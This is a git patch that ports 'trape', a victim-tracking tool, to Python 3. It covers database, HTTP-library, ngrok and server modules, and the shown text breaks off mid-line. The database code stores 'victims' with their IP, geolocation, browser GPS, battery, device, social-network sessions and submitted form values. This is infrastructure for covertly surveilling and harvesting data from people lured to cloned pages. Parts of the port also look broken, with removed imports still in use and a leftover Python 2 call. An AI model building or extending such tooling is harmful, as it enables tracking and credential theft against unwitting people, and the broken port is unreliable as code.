From d99b72fdebd33d0b003967d9ca273a8702a1b97a Mon Sep 17 00:00:00 2001 From: Youssou Date: Mon, 22 Mar 2021 11:45:09 +0100 Subject: [PATCH] Update to pyhton3 --- core/db.py | 162 ++++++++++++++++++++----------------- core/dependence/urllib2.py | 87 ++++++++++---------- core/ngrok.py | 8 +- core/sockets.py | 2 +- core/stats.py | 4 +- core/trape.py | 24 +++--- core/utils.py | 9 ++- trape.py | 5 +- 8 files changed, 157 insertions(+), 144 deletions(-) diff --git a/core/db.py b/core/db.py index 9641e79..712e4cf 100755 --- a/core/db.py +++ b/core/db.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,84 +10,94 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** +# ** import sqlite3 import os.path as path class Database(object): - def __init__(self): + def __init__(self): self.firstTime = not(path.exists("database.db")) self.conn = sqlite3.connect("database.db", check_same_thread=False) self.cursor = self.conn.cursor() - + def loadDatabase(self): self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims_data" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims_battery" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""") - self.cursor.execute("""CREATE TABLE IF NOT EXISTS "hostsalive" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "victims_data" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "victims_battery" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""") + self.cursor.execute( + """CREATE TABLE IF NOT EXISTS "hostsalive" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )""") self.conn.commit() return True def sql_execute(self, sentence): - if type(sentence) is str: - self.cursor.execute(sentence) - else: - self.cursor.execute(sentence[0], sentence[1]) + if type(sentence) is str: + self.cursor.execute(sentence) + else: + self.cursor.execute(sentence[0], sentence[1]) return self.cursor.fetchall() def sql_one_row(self, sentence, column): if type(sentence) is str: - self.cursor.execute(sentence) - else: - self.cursor.execute(sentence[0], sentence[1]) + self.cursor.execute(sentence) + else: + self.cursor.execute(sentence[0], sentence[1]) return self.cursor.fetchone()[column] def sql_insert(self, sentence): if type(sentence) is str: - self.cursor.execute(sentence) - else: - self.cursor.execute(sentence[0], sentence[1]) + self.cursor.execute(sentence) + else: + self.cursor.execute(sentence[0], sentence[1]) self.conn.commit() return True - def prop_sentences_stats(self, type, vId = None): + def prop_sentences_stats(self, type, vId=None): return { - 'get_data' : "SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC", - 'all_networks' : "SELECT networks.* FROM networks ORDER BY id", - 'get_preview' : ("SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id WHERE victims.id = ?" , vId), - 'id_networks' : ("SELECT networks.* FROM networks WHERE id = ?", vId), - 'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ", - 'get_sessions' : "SELECT COUNT(*) AS Total FROM networks", - 'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks", - 'get_online' : ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId), - 'get_hostsalive' : ("SELECT hostsalive.* FROM hostsalive WHERE id = ?", vId), - 'get_socialimpact' : ("SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network") + 'get_data': "SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC", + 'all_networks': "SELECT networks.* FROM networks ORDER BY id", + 'get_preview': ("SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id WHERE victims.id = ?", vId), + 'id_networks': ("SELECT networks.* FROM networks WHERE id = ?", vId), + 'get_requests': "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ", + 'get_sessions': "SELECT COUNT(*) AS Total FROM networks", + 'get_clicks': "SELECT COUNT(*) AS Total FROM clicks", + 'get_online': ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId), + 'get_hostsalive': ("SELECT hostsalive.* FROM hostsalive WHERE id = ?", vId), + 'get_socialimpact': ("SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network") }.get(type, False) - def sentences_stats(self, type, vId = None): - return self.sql_execute(self.prop_sentences_stats(type, vId)) + def sentences_stats(self, type, vId=None): + return self.sql_execute(self.prop_sentences_stats(type, vId)) - def prop_sentences_victim(self, type, data = None): + def prop_sentences_victim(self, type, data=None): if type == 'count_victim': - t = (data,) - return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?" , t) + t = (data,) + return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?", t) elif type == 'count_times': - t = (data,) - return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?" , t) + t = (data,) + return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?", t) elif type == 'update_victim': - t = (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],) - return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t) + t = (data[0].ip, data[0].date, data[0].version, data[0].browser, + data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],) + return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t) elif type == 'update_victim_geo': - t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],) - return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t) + t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, + data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],) + return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t) elif type == 'insert_victim': - t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online',) - return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t) + t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, + data[0].device, data[0].ports, data[2], data[0].cpu, 'online',) + return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t) elif type == 'insert_victim_data': t = (data[0], '', 'online', '{}', '', '',) return ("INSERT INTO victims_data(id, name, last_online, gpu, donottrack, navigation_mode) VALUES(?, ?, ?, ?, ?, ? )", t) @@ -95,66 +105,68 @@ def prop_sentences_victim(self, type, data = None): t = (data[0], '', 0, 0, 100,) return ("INSERT INTO victims_battery(id, charging, time_c, time_d, level) VALUES(?, ?, ?, ?, ?)", t) elif type == 'insert_victim_geo': - t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua,data[0].refer,) - return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)" , t) + t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, + data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[0].refer,) + return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", t) elif type == 'count_victim_network': - return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],)) + return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],)) elif type == 'delete_networks': - return ("DELETE FROM networks WHERE id = ?", (data[0],)) + return ("DELETE FROM networks WHERE id = ?", (data[0],)) elif type == 'update_network': - return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?" , (data[2], data[0], data[1],)) + return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?", (data[2], data[0], data[1],)) elif type == 'insert_networks': - t = (data[0], data[1], data[2], data[3], data[4],) - return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)" , t) + t = (data[0], data[1], data[2], data[3], data[4],) + return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)", t) elif type == 'insert_requests': - t = (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1],) - return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)" , t) + t = (data[0].sId, data[0].id, data[0].site, + data[0].fid, data[0].name, data[0].value, data[1],) + return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)", t) elif type == 'insert_click': - return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],)) + return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],)) elif type == 'report_online': - return ("UPDATE victims SET status = ? WHERE id = ?" , ('online', data[0],)) + return ("UPDATE victims SET status = ? WHERE id = ?", ('online', data[0],)) elif type == 'clean_online': - return ("UPDATE victims SET status = ? ", ('offline',)) + return ("UPDATE victims SET status = ? ", ('offline',)) elif type == 'clean_online': return ("UPDATE victims SET status = ? WHERE ", ('offline',)) elif type == 'clean_usersnoping': return ("UPDATE victims SET status = ? WHERE victims.id IN (SELECT id FROM victims_data WHERE julianday(CURRENT_TIMESTAMP) - julianday(replace(victims_data.last_online, ' - ', 'T')) >= ?)", ('offline', 0.2087,)) elif type == 'disconnect_victim': - return ("UPDATE victims SET status = ? WHERE id = ?" , ('offline', data,)) + return ("UPDATE victims SET status = ? WHERE id = ?", ('offline', data,)) elif type == 'location_victim': - return ("UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?" , (data[1], data[2], data[0])) + return ("UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'connection_victim': - return ("UPDATE geo SET connection = ?, refer = ? WHERE id = ?" , (data[1], data[2], data[0])) + return ("UPDATE geo SET connection = ?, refer = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'update_battery': - return ("UPDATE victims_battery SET " + data[2] + " = ? WHERE id = ?" , (data[1], data[0])) + return ("UPDATE victims_battery SET " + data[2] + " = ? WHERE id = ?", (data[1], data[0])) elif type == 'update_navigationmode': - return ("UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?" , (data[1], data[2], data[0])) + return ("UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'update_lastping': - return ("UPDATE victims_data SET last_online = ? WHERE id = ?" , (data[1], data[0],)) + return ("UPDATE victims_data SET last_online = ? WHERE id = ?", (data[1], data[0],)) elif type == 'update_name': - return ("UPDATE victims_data SET name = ? WHERE id = ?" , (data[1], data[0],)) + return ("UPDATE victims_data SET name = ? WHERE id = ?", (data[1], data[0],)) elif type == 'delete_hostalive': - return ("DELETE FROM hostsalive WHERE id = ?" , (data,)) + return ("DELETE FROM hostsalive WHERE id = ?", (data,)) elif type == 'register_hostalive': - return ("INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)" , (data[0], data[1], data[2], data[3])) + return ("INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)", (data[0], data[1], data[2], data[3])) elif type == 'delete_victim': - return ("DELETE FROM victims WHERE id = ?" , (data,)) + return ("DELETE FROM victims WHERE id = ?", (data,)) elif type == 'delete_geo': - return ("DELETE FROM geo WHERE id = ?" , (data,)) + return ("DELETE FROM geo WHERE id = ?", (data,)) elif type == 'update_localIp': - return ("UPDATE victims SET ip = ? WHERE id = ?" , (data[1], data[0],)) + return ("UPDATE victims SET ip = ? WHERE id = ?", (data[1], data[0],)) elif type == 'update_gpu': - return ("UPDATE victims_data SET gpu = ? WHERE id = ?" , (data[1], data[0],)) + return ("UPDATE victims_data SET gpu = ? WHERE id = ?", (data[1], data[0],)) else: - return False + return False - def sentences_victim(self, type, data = None, sRun = 1, column = 0): + def sentences_victim(self, type, data=None, sRun=1, column=0): if sRun == 2: return self.sql_insert(self.prop_sentences_victim(type, data)) elif sRun == 3: - return self.sql_one_row(self.prop_sentences_victim(type, data), column) + return self.sql_one_row(self.prop_sentences_victim(type, data), column) else: - return self.sql_execute(self.prop_sentences_victim(type, data)) + return self.sql_execute(self.prop_sentences_victim(type, data)) def __del__(self): - self.conn.close() \ No newline at end of file + self.conn.close() diff --git a/core/dependence/urllib2.py b/core/dependence/urllib2.py index 5471acd..b8ac364 100644 --- a/core/dependence/urllib2.py +++ b/core/dependence/urllib2.py @@ -91,8 +91,8 @@ import base64 import hashlib -import httplib -import mimetools +import http.client +import email import os import posixpath import random @@ -100,20 +100,19 @@ import socket import sys import time -import urlparse +import urllib.parse import bisect try: - from cStringIO import StringIO + from io import StringIO except ImportError: - from StringIO import StringIO + from io import StringIO -from urllib import (unwrap, unquote, splittype, splithost, quote, - addinfourl, splitport, splittag, - splitattr, ftpwrapper, splituser, splitpasswd, splitvalue) +import urllib.request, urllib.parse, urllib.error, urllib.response -# support for FileHandler, proxies via environment variables -from urllib import localhost, url2pathname, getproxies, proxy_bypass + + +from urllib.request import url2pathname # used in User-Agent header sent __version__ = sys.version[:3] @@ -146,9 +145,9 @@ def __init__(self, reason): def __str__(self): return '' % self.reason -class HTTPError(URLError, addinfourl): +class HTTPError(URLError, urllib.response.addinfourl): """Raised when HTTP error occurs, but also acts like non-error return""" - __super_init = addinfourl.__init__ + __super_init = urllib.response.addinfourl.__init__ def __init__(self, url, code, msg, hdrs, fp): self.code = code @@ -182,7 +181,7 @@ def request_host(request): """ url = request.get_full_url() - host = urlparse.urlparse(url)[1] + host = urllib.parse.urlparse(url)[1] if host == "": host = request.get_header("Host", "") @@ -204,7 +203,7 @@ def __init__(self, url, data=None, headers={}, self._tunnel_host = None self.data = data self.headers = {} - for key, value in headers.items(): + for key, value in list(headers.items()): self.add_header(key, value) self.unredirected_hdrs = {} if origin_req_host is None: @@ -222,7 +221,7 @@ def __getattr__(self, attr): if hasattr(Request, 'get_' + name): getattr(self, 'get_' + name)() return getattr(self, attr) - raise AttributeError, attr + raise AttributeError(attr) def get_method(self): if self.has_data(): @@ -251,7 +250,7 @@ def get_type(self): if self.type is None: self.type, self.__r_type = splittype(self.__original) if self.type is None: - raise ValueError, "unknown url type: %s" % self.__original + raise ValueError("unknown url type: %s" % self.__original) return self.type def get_host(self): @@ -302,7 +301,7 @@ def get_header(self, header_name, default=None): def header_items(self): hdrs = self.unredirected_hdrs.copy() hdrs.update(self.headers) - return hdrs.items() + return list(hdrs.items()) class OpenerDirector: def __init__(self): @@ -381,7 +380,7 @@ def _call_chain(self, chain, kind, meth_name, *args): def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): # accept a URL or a Request object - if isinstance(fullurl, basestring): + if isinstance(fullurl, str): req = Request(fullurl, data) else: req = fullurl @@ -458,7 +457,7 @@ def build_opener(*handlers): """ import types def isclass(obj): - return isinstance(obj, (types.ClassType, type)) + return isinstance(obj, type) opener = OpenerDirector() default_classes = [ProxyHandler, UnknownHandler, HTTPHandler, @@ -554,7 +553,7 @@ def redirect_request(self, req, fp, code, msg, headers, newurl): # do the same. # be conciliant with URIs containing a space newurl = newurl.replace(' ', '%20') - newheaders = dict((k,v) for k,v in req.headers.items() + newheaders = dict((k,v) for k,v in list(req.headers.items()) if k.lower() not in ("content-length", "content-type") ) return Request(newurl, @@ -579,13 +578,13 @@ def http_error_302(self, req, fp, code, msg, headers): return # fix a possible malformed URL - urlparts = urlparse.urlparse(newurl) + urlparts = urllib.parse.urlparse(newurl) if not urlparts.path: urlparts = list(urlparts) urlparts[2] = "/" - newurl = urlparse.urlunparse(urlparts) + newurl = urllib.parse.urlunparse(urlparts) - newurl = urlparse.urljoin(req.get_full_url(), newurl) + newurl = urllib.parse.urljoin(req.get_full_url(), newurl) # For security reasons we do not allow redirects to protocols # other than HTTP, HTTPS or FTP. @@ -712,7 +711,7 @@ def __init__(self, proxies=None): proxies = getproxies() assert hasattr(proxies, 'has_key'), "proxies must be a mapping" self.proxies = proxies - for type, url in proxies.items(): + for type, url in list(proxies.items()): setattr(self, '%s_open' % type, lambda r, proxy=url, type=type, meth=self.proxy_open: \ meth(r, proxy, type)) @@ -753,7 +752,7 @@ def __init__(self): def add_password(self, realm, uri, user, passwd): # uri could be a single URI or a sequence - if isinstance(uri, basestring): + if isinstance(uri, str): uri = [uri] if not realm in self.passwd: self.passwd[realm] = {} @@ -766,7 +765,7 @@ def find_user_password(self, realm, authuri): domains = self.passwd.get(realm, {}) for default_port in True, False: reduced_authuri = self.reduce_uri(authuri, default_port) - for uris, authinfo in domains.iteritems(): + for uris, authinfo in list(domains.items()): for uri in uris: if self.is_suburi(uri, reduced_authuri): return authinfo @@ -775,7 +774,7 @@ def find_user_password(self, realm, authuri): def reduce_uri(self, uri, default_port=True): """Accept authority or URI and extract only the authority and path.""" # note HTTP URLs do not have a userinfo component - parts = urlparse.urlsplit(uri) + parts = urllib.parse.urlsplit(uri) if parts[1]: # URI scheme = parts[0] @@ -1073,7 +1072,7 @@ class HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler): handler_order = 490 # before Basic auth def http_error_401(self, req, fp, code, msg, headers): - host = urlparse.urlparse(req.get_full_url())[1] + host = urllib.parse.urlparse(req.get_full_url())[1] retry = self.http_error_auth_reqed('www-authenticate', host, req, headers) self.reset_retry_count() @@ -1147,7 +1146,7 @@ def do_open(self, http_class, req): h.set_debuglevel(self._debuglevel) headers = dict(req.unredirected_hdrs) - headers.update(dict((k, v) for k, v in req.headers.items() + headers.update(dict((k, v) for k, v in list(req.headers.items()) if k not in headers)) # We want to make an HTTP/1.1 request, but the addinfourl @@ -1158,7 +1157,7 @@ def do_open(self, http_class, req): # request. headers["Connection"] = "close" headers = dict( - (name.title(), val) for name, val in headers.items()) + (name.title(), val) for name, val in list(headers.items())) if req._tunnel_host: tunnel_headers = {} @@ -1172,7 +1171,7 @@ def do_open(self, http_class, req): try: h.request(req.get_method(), req.get_selector(), req.data, headers) - except socket.error, err: # XXX what error? + except socket.error as err: # XXX what error? h.close() raise URLError(err) else: @@ -1204,23 +1203,23 @@ def do_open(self, http_class, req): class HTTPHandler(AbstractHTTPHandler): def http_open(self, req): - return self.do_open(httplib.HTTPConnection, req) + return self.do_open(http.client.HTTPConnection, req) http_request = AbstractHTTPHandler.do_request_ -if hasattr(httplib, 'HTTPS'): +if hasattr(http.client, 'HTTPS'): class HTTPSHandler(AbstractHTTPHandler): def https_open(self, req): - return self.do_open(httplib.HTTPSConnection, req) + return self.do_open(http.client.HTTPSConnection, req) https_request = AbstractHTTPHandler.do_request_ class HTTPCookieProcessor(BaseHandler): def __init__(self, cookiejar=None): - import cookielib + import http.cookiejar if cookiejar is None: - cookiejar = cookielib.CookieJar() + cookiejar = http.cookiejar.CookieJar() self.cookiejar = cookiejar def http_request(self, request): @@ -1345,7 +1344,7 @@ def open_local_file(self, req): else: origurl = 'file://' + filename return addinfourl(open(localfile, 'rb'), headers, origurl) - except OSError, msg: + except OSError as msg: # urllib2 users shouldn't expect OSErrors coming from urlopen() raise URLError(msg) raise URLError('file not on local host') @@ -1375,11 +1374,11 @@ def ftp_open(self, req): try: host = socket.gethostbyname(host) - except socket.error, msg: + except socket.error as msg: raise URLError(msg) path, attrs = splitattr(req.get_selector()) dirs = path.split('/') - dirs = map(unquote, dirs) + dirs = list(map(unquote, dirs)) dirs, file = dirs[:-1], dirs[-1] if dirs and not dirs[0]: dirs = dirs[1:] @@ -1401,8 +1400,8 @@ def ftp_open(self, req): sf = StringIO(headers) headers = mimetools.Message(sf) return addinfourl(fp, headers, req.get_full_url()) - except ftplib.all_errors, msg: - raise URLError, ('ftp error: %s' % msg), sys.exc_info()[2] + except ftplib.all_errors as msg: + raise URLError('ftp error: %s' % msg).with_traceback(sys.exc_info()[2]) def connect_ftp(self, user, passwd, host, port, dirs, timeout): fw = ftpwrapper(user, passwd, host, port, dirs, timeout, @@ -1440,7 +1439,7 @@ def check_cache(self): # first check for old ones t = time.time() if self.soonest <= t: - for k, v in self.timeout.items(): + for k, v in list(self.timeout.items()): if v < t: self.cache[k].close() del self.cache[k] @@ -1449,7 +1448,7 @@ def check_cache(self): # then check the size if len(self.cache) == self.max_conns: - for k, v in self.timeout.items(): + for k, v in list(self.timeout.items()): if v == self.soonest: del self.cache[k] del self.timeout[k] @@ -1457,7 +1456,7 @@ def check_cache(self): self.soonest = min(self.timeout.values()) def clear_cache(self): - for conn in self.cache.values(): + for conn in list(self.cache.values()): conn.close() self.cache.clear() self.timeout.clear() diff --git a/core/ngrok.py b/core/ngrok.py index 1c5b4fc..3a4aad7 100755 --- a/core/ngrok.py +++ b/core/ngrok.py @@ -23,7 +23,7 @@ def __init__(self, authtoken, port, nT, hash): if authtoken: self.token = authtoken else: - print "Can't use Ngrok without a valid token" + print("Can't use Ngrok without a valid token") system_type = os.name system_name = platform.system() system_architecture = platform.architecture()[0] @@ -35,7 +35,7 @@ def __init__(self, authtoken, port, nT, hash): if path.exists(str_ngrok): pass else: - import urllib2 + import urllib.request, urllib.error, urllib.parse if "posix" in system_type: if "arwin" in system_name: @@ -58,7 +58,7 @@ def __init__(self, authtoken, port, nT, hash): filename = "ngrok.zip" - download = urllib2.urlopen(download_link) + download = urllib.request.urlopen(download_link) saved_file=file(filename,"w") saved_file.write(download.read()) saved_file.close() @@ -79,4 +79,4 @@ def start_ngrok(port, hash, f=0): if "nt" in system_type: str_ngrok = './ngrok.exe' result = subprocess.check_output([str_ngrok, "http", port]) - print result + print(result) diff --git a/core/sockets.py b/core/sockets.py index 6360b3d..0970278 100755 --- a/core/sockets.py +++ b/core/sockets.py @@ -17,7 +17,7 @@ from flask_socketio import SocketIO, emit, join_room, rooms, disconnect import core.stats import core.user -from user_objects import attacks_hook_message +from .user_objects import attacks_hook_message from core.utils import utils from core.db import Database import sys diff --git a/core/stats.py b/core/stats.py index ce3a212..ed095af 100755 --- a/core/stats.py +++ b/core/stats.py @@ -16,7 +16,7 @@ import os from flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory from flask_cors import CORS -from trape import Trape +from .trape import Trape from core.db import Database # Main parts, to generate relationships among others @@ -90,7 +90,7 @@ def home_get_preview(): @app.route("/get_title", methods=["POST"]) def home_get_title(): - opener = urllib2.build_opener() + opener = urllib.request.build_opener() html = opener.open(trape.url_to_clone).read() html = html[html.find('') + 7 : html.find('')] return json.dumps({'status' : 'OK', 'title' : html}) diff --git a/core/trape.py b/core/trape.py index 5551813..54cfd9a 100755 --- a/core/trape.py +++ b/core/trape.py @@ -14,7 +14,7 @@ import time import json from core.dependence import urllib2 -import httplib +import http.client import argparse import socket import sys @@ -46,7 +46,7 @@ def __init__(self, stat = 0): self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},) if self.stat == 1: - c = httplib.HTTPConnection('www.google.com', timeout=5) + c = http.client.HTTPConnection('www.google.com', timeout=5) try: c.request("HEAD", "/") c.close() @@ -106,10 +106,10 @@ def __init__(self, stat = 0): utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + 